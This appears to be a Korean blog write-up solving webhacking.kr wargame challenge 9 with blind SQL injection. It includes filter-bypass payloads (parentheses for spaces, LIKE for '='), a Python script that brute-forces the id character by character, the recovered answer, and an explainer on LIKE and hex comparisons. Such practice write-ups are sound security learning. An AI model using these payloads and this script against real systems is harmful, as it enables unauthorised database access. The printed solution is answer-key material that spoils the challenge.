이번에는 점수가 900점인 9번 문제를 풀어보자.
처음 화면은 다음과 같고, 1,2,3을 각각 눌러보자.
challenge/web-09/?no=1
challenge/web-09/?no=2
challenge/web-09/?no=3
URL의 파라미터 no에 값을 변경함에 따라 페이지가 변하는 것을 볼 수 있다. 테스트를 위해 인자값에 sleep(3)함수를 입력 해본 후 3초 뒤에 응답되는 것을 확인했으며, SQL Injection 시도가 가능할 것으로 판단된다.
no=3 페이지에서 컬럼에는 id,no가 있고 passowrd는 id에 있다고 한다.
그럼 우리는 문제를 풀기 위해 id=password이고 no=3인 값을 가져와야 한다.
먼저, id의 길이를 알아내기 위해 쿼리문을 작성해보자.
쿼리문 : no=if length(id) = 1, 3, 0
id의 길이가 if이면 1를 반환해서 Secret이 출력되는 페이지로 이동해야 되고 거짓이면 0이 반환되어 아무것도 출력되지 않아야 하는데, Access Denied가 출력되게 된다.
즉, 문자열을 필터링하고 있다는 것으로 추측된다. 쿼리문의 공백을 없애고 '='는 'LIKE'로 취환하여 재쿼리해본다.
쿼리문 : no=if(length(id)like(1),3,0)
이제 페이지에 아무것도 출력되지 않는 것을 확인할 수 있었다. like에 담겨있는 숫자를 증가시켜 Secret이 출력될 때까지 시도해보자.
no=if(length(id)like(11),3,0) 11번째에서 Secret이 뜨는걸 확인했고, id의 길이는 11이다.
이제 substr()함수를 이용해 각 자리에 있는 글자를 찾아야 한다.
예시) IF(SUBSTR(id,1,1)LIKE(0x41),3,0) # id의 1번째 글자가 'A'인지 확인
이제 파이썬을 이용해서 자동화 코드를 작성해보자.
import requests
# 공격 함수
def attack(query, no):
# 기본 url
main_url = "https://webhacking.kr/challenge/web-09/?no="
# 쿼리를 보낼 url
attack_url = main_url + query
# GET 방식으로 해당 웹 사이트에 접근(Reqeust)
target = requests.get(attack_url)
# HTML 소스 가져오기
html = target.text
# HTML에 Secret 이라는 문자열이 존재하는 경우
if 'Secret' in html:
# 어떤 문자열이 성공했는지 저장
f = open("C://test_etc/result.txt", 'a')
f.write(chr(no))
f.close()
# 1번째 문자부터 11번째 문자까지
for i in range(1, 12):
# ASCII 코드 33번 부터 127번까지
# for j in range(33, 128):
for j in range(97, 123):
# ASCII 코드 10진수를 16진수로 변환
h = hex(j)
# 시도할 Query 설정
query = f"IF(SUBSTR(id,{i},1)LIKE({h}),3,0)"
# 쿼리 준비 완료 - 함수 실행
attack(query, j)
결과 : alsrkswhaql
이제 결과 값을 입력해서 제출해보도록 하자.
정상적으로 문제가 풀렸음을 확인할 수 있다.
※ 추가 학습 내용
LIKE
SQL쿼리의 출력에서 문자열의 일치여부를 검색할 때 활용되는 명령어이다. Blind SQL Injection에서는 =가 필터링 된 경우 이를 우회하기 위해 사용된다. 문제에서 like명령어는 if문과 함께 사용된다. 예제를 통해 확인해보자.
Example Table
-----------------------------------------
| CITY_NAME | TAG | IS_VISIT |
| --------- | ------- | -------- |
| SEOUL | CAPITAL | 1 |
------------------------------------------
결과 : 1
SELECT IF(CITY_NAME LIKE 'SEOUL'),'1', '0'
-- CITY_NAME의 레코드가 'SEOUL'이면 '1'를 반환
-- 이외의 경우 '0'을 반환
SELECT IF(SUBSTR(CITY_NAME, 1,1) LIKE(0x53)),'1', '0'
-- CITY_NAME의 레코드의 첫번째 글자가 'S'이면 '1'를 반환
-- 이외의 경우 '0'을 반환
-- 0x53은 'S'의 16진수(hex) 표현
-- 공백을 괄호로 우회할 수 있다
아스키 코드
'CTF & WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 11번 문제 (0) | 2020.03.02 |
---|---|
[webhacking.kr] 10번 문제 (0) | 2020.03.02 |
[webhacking.kr] 8번 문제 (0) | 2020.02.29 |
[webhacking.kr] 7번 문제 (0) | 2020.02.28 |
[webhacking.kr] 6번 문제 (0) | 2020.02.27 |